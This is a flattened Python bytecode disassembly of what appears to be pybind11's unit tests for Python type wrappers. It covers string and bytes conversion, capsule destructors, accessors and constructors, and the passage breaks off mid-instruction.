LOAD_CONST 'A' CALL_FUNCTION STORE_FAST A LOAD_GLOBAL m LOAD_METHOD str_from_object LOAD_FAST A CALL_FUNCTION CALL_METHOD LOAD_CONST 'this is a str' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD repr_from_object LOAD_FAST A CALL_FUNCTION CALL_METHOD LOAD_CONST 'this is a repr' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD str_from_handle LOAD_FAST A CALL_FUNCTION CALL_METHOD LOAD_CONST 'this is a str' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD str_format CALL_METHOD UNPACK_SEQUENCE STORE_FAST s1 STORE_FAST s2 LOAD_FAST s1 LOAD_CONST '1 + 2 = 3' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s1 LOAD_FAST s2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST b'\x80' STORE_FAST malformed_utf8 LOAD_GLOBAL hasattr LOAD_GLOBAL m LOAD_CONST 'PYBIND11_STR_LEGACY_PERMISSIVE' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL m LOAD_METHOD str_from_object LOAD_FAST malformed_utf8 CALL_METHOD LOAD_FAST malformed_utf8 COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 282 LOAD_GLOBAL m LOAD_METHOD str_from_object LOAD_FAST malformed_utf8 CALL_METHOD LOAD_CONST "b'\\x80'" COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD str_from_handle LOAD_FAST malformed_utf8 CALL_METHOD LOAD_CONST "b'\\x80'" COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD str_from_string_from_str LOAD_CONST 'this is a str' CALL_METHOD LOAD_CONST 'this is a str' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST '\udcc3' STORE_FAST ucs_surrogates_str LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL UnicodeEncodeError CALL_METHOD SETUP_WITH to 352 POP_TOP LOAD_GLOBAL m LOAD_METHOD str_from_string_from_str LOAD_FAST ucs_surrogates_str CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_str.<locals>.A' STORE_NAME __qualname__ LOAD_CONST <code object __str__ at 0x7faa75c44540, file "f.py", line 226> LOAD_CONST 'test_str.<locals>.A.__str__' MAKE_FUNCTION STORE_NAME __str__ LOAD_CONST <code object __repr__ at 0x7faa75c448a0, file "f.py", line 229> LOAD_CONST 'test_str.<locals>.A.__repr__' MAKE_FUNCTION STORE_NAME __repr__ LOAD_CONST None RETURN_VALUE LOAD_CONST 'this is a str' RETURN_VALUE LOAD_CONST 'this is a repr' RETURN_VALUE LOAD_CONST '\ud83d\ude4f' LOAD_METHOD encode LOAD_CONST 'utf-8' LOAD_CONST 'surrogatepass' CALL_METHOD STORE_FAST input_str LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL UnicodeDecodeError CALL_METHOD SETUP_WITH to 36 POP_TOP LOAD_FAST func LOAD_FAST input_str CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD bytes_from_char_ssize_t CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST 'green' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD bytes_from_char_size_t CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST 'purple' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD bytes_from_string CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST 'foo' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD bytes_from_str CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST 'bar' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR bytes_from_str CALL_FUNCTION LOAD_CONST 'bytes_from_str() -> bytes' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD bytearray_from_char_ssize_t CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST '$%' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD bytearray_from_char_size_t CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST '@$!' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD bytearray_from_string CALL_METHOD LOAD_METHOD decode CALL_METHOD LOAD_CONST 'foo' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD bytearray_size CALL_METHOD LOAD_GLOBAL len LOAD_CONST 'foo' CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD gc_collect CALL_METHOD POP_TOP LOAD_FAST capture SETUP_WITH to 36 POP_TOP LOAD_GLOBAL m LOAD_METHOD return_capsule_with_destructor CALL_METHOD STORE_FAST a DELETE_FAST a LOAD_GLOBAL pytest LOAD_METHOD gc_collect CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n creating capsule\n destructing capsule\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture SETUP_WITH to 84 POP_TOP LOAD_GLOBAL m LOAD_METHOD return_renamed_capsule_with_destructor CALL_METHOD STORE_FAST a DELETE_FAST a LOAD_GLOBAL pytest LOAD_METHOD gc_collect CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n creating capsule\n renaming capsule\n destructing capsule\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture SETUP_WITH to 132 POP_TOP LOAD_GLOBAL m LOAD_METHOD return_capsule_with_destructor_2 CALL_METHOD STORE_FAST a DELETE_FAST a LOAD_GLOBAL pytest LOAD_METHOD gc_collect CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n creating capsule\n destructing capsule: 1234\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture SETUP_WITH to 180 POP_TOP LOAD_GLOBAL m LOAD_METHOD return_capsule_with_destructor_3 CALL_METHOD STORE_FAST a DELETE_FAST a LOAD_GLOBAL pytest LOAD_METHOD gc_collect CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n creating capsule\n destructing capsule: 1233\n original name: oname\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture SETUP_WITH to 228 POP_TOP LOAD_GLOBAL m LOAD_METHOD return_renamed_capsule_with_destructor_2 CALL_METHOD STORE_FAST a DELETE_FAST a LOAD_GLOBAL pytest LOAD_METHOD gc_collect CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n creating capsule\n renaming capsule\n destructing capsule: 1234\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture SETUP_WITH to 276 POP_TOP LOAD_GLOBAL m LOAD_METHOD return_capsule_with_name_and_destructor CALL_METHOD STORE_FAST a DELETE_FAST a LOAD_GLOBAL pytest LOAD_METHOD gc_collect CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST "\n created capsule (1234, 'pointer type description')\n destructing capsule (1234, 'pointer type description')\n " COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture SETUP_WITH to 326 POP_TOP LOAD_GLOBAL m LOAD_METHOD return_capsule_with_explicit_nullptr_dtor CALL_METHOD STORE_FAST a DELETE_FAST a LOAD_GLOBAL pytest LOAD_METHOD gc_collect CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n creating capsule with explicit nullptr dtor\n ' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object SubTestObject at 0x7faa75c44030, file "f.py", line 373> LOAD_CONST 'SubTestObject' MAKE_FUNCTION LOAD_CONST 'SubTestObject' CALL_FUNCTION STORE_DEREF SubTestObject LOAD_BUILD_CLASS LOAD_CLOSURE SubTestObject BUILD_TUPLE LOAD_CONST <code object TestObject at 0x7faa75c449c0, file "f.py", line 377> LOAD_CONST 'TestObject' MAKE_FUNCTION LOAD_CONST 'TestObject' CALL_FUNCTION STORE_DEREF TestObject LOAD_GLOBAL m LOAD_METHOD accessor_api LOAD_DEREF TestObject CALL_FUNCTION CALL_METHOD STORE_FAST d LOAD_FAST d LOAD_CONST 'basic_attr' BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'begin_end' BINARY_SUBSCR LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'operator[object]' BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'operator[char *]' BINARY_SUBSCR LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'attr(object)' BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'attr(char *)' BINARY_SUBSCR LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'missing_attr_ptr' BINARY_SUBSCR LOAD_CONST 'raised' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'missing_attr_chain' BINARY_SUBSCR LOAD_CONST 'raised' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'is_none' BINARY_SUBSCR LOAD_CONST False COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'operator()' BINARY_SUBSCR LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'operator*' BINARY_SUBSCR LOAD_CONST 7 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'implicit_list' BINARY_SUBSCR LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL all LOAD_CLOSURE TestObject BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7faa75c44150, file "f.py", line 399> LOAD_CONST 'test_accessors.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST d LOAD_CONST 'implicit_dict' BINARY_SUBSCR GET_ITER CALL_FUNCTION CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD tuple_accessor LOAD_CONST () CALL_METHOD LOAD_CONST (0, 1, 2) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD accessor_assignment CALL_METHOD STORE_FAST d LOAD_FAST d LOAD_CONST 'get' BINARY_SUBSCR LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'deferred_get' BINARY_SUBSCR LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'set' BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'deferred_set' BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'var' BINARY_SUBSCR LOAD_CONST 99 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_accessors.<locals>.SubTestObject' STORE_NAME __qualname__ LOAD_CONST 1 STORE_NAME attr_obj LOAD_CONST 2 STORE_NAME attr_char LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_accessors.<locals>.TestObject' STORE_NAME __qualname__ LOAD_CONST 1 STORE_NAME basic_attr LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST STORE_NAME begin_end LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST ('operator[object]', 'operator[char *]') BUILD_CONST_KEY_MAP STORE_NAME d LOAD_CLASSDEREF SubTestObject CALL_FUNCTION STORE_NAME sub LOAD_CONST <code object func at 0x7faa75c444b0, file "f.py", line 383> LOAD_CONST 'test_accessors.<locals>.TestObject.func' MAKE_FUNCTION STORE_NAME func LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR basic_attr LOAD_FAST x BINARY_ADD LOAD_GLOBAL sum LOAD_FAST args CALL_FUNCTION BINARY_ADD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST x LOAD_FAST x LOAD_DEREF TestObject LOAD_ATTR __dict__ COMPARE_OP in YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD accessor_moves CALL_METHOD STORE_FAST inc_refs LOAD_FAST inc_refs POP_JUMP_IF_FALSE LOAD_FAST inc_refs LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 64 LOAD_GLOBAL pytest LOAD_METHOD skip LOAD_CONST 'Not defined: PYBIND11_HANDLE_REF_DEBUG' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL bytes LOAD_GLOBAL bytearray LOAD_GLOBAL str LOAD_GLOBAL bool LOAD_GLOBAL int LOAD_GLOBAL float LOAD_GLOBAL tuple LOAD_GLOBAL list LOAD_GLOBAL dict LOAD_GLOBAL set BUILD_LIST STORE_FAST types LOAD_CONST <code object <dictcomp> at 0x7faad43c05d0, file "f.py", line 422> LOAD_CONST 'test_constructors.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST types GET_ITER CALL_FUNCTION STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD default_constructors CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL bytes LOAD_CONST b'41' LOAD_GLOBAL bytearray LOAD_GLOBAL bytearray LOAD_CONST b'41' CALL_FUNCTION LOAD_GLOBAL str LOAD_CONST 42 LOAD_GLOBAL bool LOAD_CONST 'Not empty' LOAD_GLOBAL int LOAD_CONST '42' LOAD_GLOBAL float LOAD_CONST '+1e3' LOAD_GLOBAL tuple LOAD_GLOBAL range LOAD_CONST 3 CALL_FUNCTION LOAD_GLOBAL list LOAD_GLOBAL range LOAD_CONST 3 CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST ('two', 2) LOAD_CONST ('one', 1) LOAD_CONST ('three', 3) BUILD_LIST LOAD_GLOBAL set LOAD_CONST 4 LOAD_CONST 4 LOAD_CONST 5 LOAD_CONST 6 LOAD_CONST 6 LOAD_CONST 6 BUILD_LIST LOAD_GLOBAL frozenset LOAD_CONST 4 LOAD_CONST 4 LOAD_CONST 5 LOAD_CONST 6 LOAD_CONST 6 LOAD_CONST 6 BUILD_LIST LOAD_GLOBAL memoryview LOAD_CONST b'abc' BUILD_MAP STORE_FAST data LOAD_CONST <code object <dictcomp> at 0x7faad43c0270, file "f.py", line 439> LOAD_CONST 'test_constructors.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST data LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST inputs LOAD_CONST <code object <dictcomp> at 0x7faad43c0d20, file "f.py", line 440> LOAD_CONST 'test_constructors.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST data LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD converting_constructors LOAD_FAST inputs CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD cast_functions LOAD_FAST inputs CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD converting_constructors LOAD_FAST expected CALL_METHOD STORE_FAST noconv1 SETUP_LOOP to 264 LOAD_FAST noconv1 GET_ITER FOR_ITER to 262 STORE_FAST k LOAD_FAST noconv1 LOAD_FAST k BINARY_SUBSCR LOAD_FAST expected LOAD_FAST k BINARY_SUBSCR COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL m LOAD_METHOD cast_functions LOAD_FAST expected CALL_METHOD STORE_FAST noconv2 SETUP_LOOP to 312 LOAD_FAST noconv2 GET_ITER FOR_ITER to 310 STORE_FAST k LOAD_FAST noconv2 LOAD_FAST k BINARY_SUBSCR LOAD_FAST expected LOAD_FAST k BINARY_SUBSCR COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 20 STORE_FAST t LOAD_FAST t CALL_FUNCTION LOAD_FAST t LOAD_ATTR __name__ MAP_ADD JUMP_ABSOLUTE RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 22 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_FAST v LOAD_FAST k LOAD_ATTR __name__ MAP_ADD JUMP_ABSOLUTE RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 26 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_FAST k LOAD_FAST v CALL_FUNCTION LOAD_FAST k LOAD_ATTR __name__ MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_CONST 'bytes' LOAD_GLOBAL range LOAD_CONST 10 CALL_FUNCTION BUILD_TUPLE LOAD_CONST ('none', 42) LOAD_CONST ('ellipsis', 42) LOAD_CONST ('type', 42) BUILD_LIST STORE_FAST non_converting_test_cases SETUP_LOOP to 130 LOAD_FAST non_converting_test_cases GET_ITER FOR_ITER to 128 UNPACK_SEQUENCE STORE_FAST t STORE_FAST v SETUP_LOOP to 126 LOAD_CONST (True, False) GET_ITER FOR_ITER to 124 STORE_FAST move LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 74 STORE_FAST excinfo LOAD_GLOBAL m LOAD_METHOD nonconverting_constructor LOAD_FAST t LOAD_FAST v LOAD_FAST move CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST "Object of type '" LOAD_GLOBAL type LOAD_FAST v CALL_FUNCTION LOAD_ATTR __name__ FORMAT_VALUE LOAD_CONST "' is not an instance of '" LOAD_FAST t FORMAT_VALUE LOAD_CONST "'" BUILD_STRING STORE_FAST expected_error LOAD_GLOBAL str LOAD_FAST excinfo LOAD_ATTR value CALL_FUNCTION LOAD_FAST expected_error COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_ATTR convert_to_pybind11_str STORE_FAST cvt LOAD_FAST cvt LOAD_CONST 'Str' CALL_FUNCTION LOAD_CONST 'Str' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST b'Bytes' CALL_FUNCTION LOAD_CONST "b'Bytes'" COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST None CALL_FUNCTION LOAD_CONST 'None' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST False CALL_FUNCTION LOAD_CONST 'False' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST True CALL_FUNCTION LOAD_CONST 'True' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST 42 CALL_FUNCTION LOAD_CONST '42' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST 2 LOAD_CONST 65 BINARY_POWER CALL_FUNCTION LOAD_CONST '36893488147419103232' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST -1.5 CALL_FUNCTION LOAD_CONST '-1.5' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST () CALL_FUNCTION LOAD_CONST '()' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST (18,) CALL_FUNCTION LOAD_CONST '(18,)' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt BUILD_LIST CALL_FUNCTION LOAD_CONST '[]' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST 28 BUILD_LIST CALL_FUNCTION LOAD_CONST '[28]' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt BUILD_MAP CALL_FUNCTION LOAD_CONST '{}' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST 3 LOAD_CONST 4 BUILD_MAP CALL_FUNCTION LOAD_CONST '{3: 4}' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_GLOBAL set CALL_FUNCTION CALL_FUNCTION LOAD_CONST 'set()' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST 3 BUILD_SET CALL_FUNCTION LOAD_CONST '{3}' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'DZ' STORE_FAST valid_orig LOAD_FAST valid_orig LOAD_METHOD encode LOAD_CONST 'utf-8' CALL_METHOD STORE_FAST valid_utf8 LOAD_FAST cvt LOAD_FAST valid_utf8 CALL_FUNCTION STORE_FAST valid_cvt LOAD_GLOBAL hasattr LOAD_GLOBAL m LOAD_CONST 'PYBIND11_STR_LEGACY_PERMISSIVE' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST valid_cvt LOAD_FAST valid_utf8 COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 362 LOAD_GLOBAL type LOAD_FAST valid_cvt CALL_FUNCTION LOAD_GLOBAL str COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST valid_cvt LOAD_CONST "b'\\xc7\\xb1'" COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST b'\x80' STORE_FAST malformed_utf8 LOAD_GLOBAL hasattr LOAD_GLOBAL m LOAD_CONST 'PYBIND11_STR_LEGACY_PERMISSIVE' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cvt LOAD_FAST malformed_utf8 CALL_FUNCTION LOAD_FAST malformed_utf8 COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 438 LOAD_FAST cvt LOAD_FAST malformed_utf8 CALL_FUNCTION STORE_FAST malformed_cvt LOAD_GLOBAL type LOAD_FAST malformed_cvt CALL_FUNCTION LOAD_GLOBAL str COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST malformed_cvt LOAD_CONST "b'\\x80'" COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD get_implicit_casting CALL_METHOD STORE_FAST z LOAD_FAST z LOAD_CONST 'd' BINARY_SUBSCR LOAD_CONST 'abc' LOAD_CONST 'abc' LOAD_CONST 'abc' LOAD_CONST 'abc' LOAD_CONST 'str' LOAD_CONST 'str1' LOAD_CONST 'str2' LOAD_CONST 'str3' LOAD_CONST 42 LOAD_CONST 42 LOAD_CONST 43 LOAD_CONST 44 LOAD_CONST ('char*_i1', 'char*_i2', 'char*_e', 'char*_p', 'str_i1', 'str_i2', 'str_e', 'str_p', 'int_i1', 'int_i2', 'int_e', 'int_p') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST z LOAD_CONST 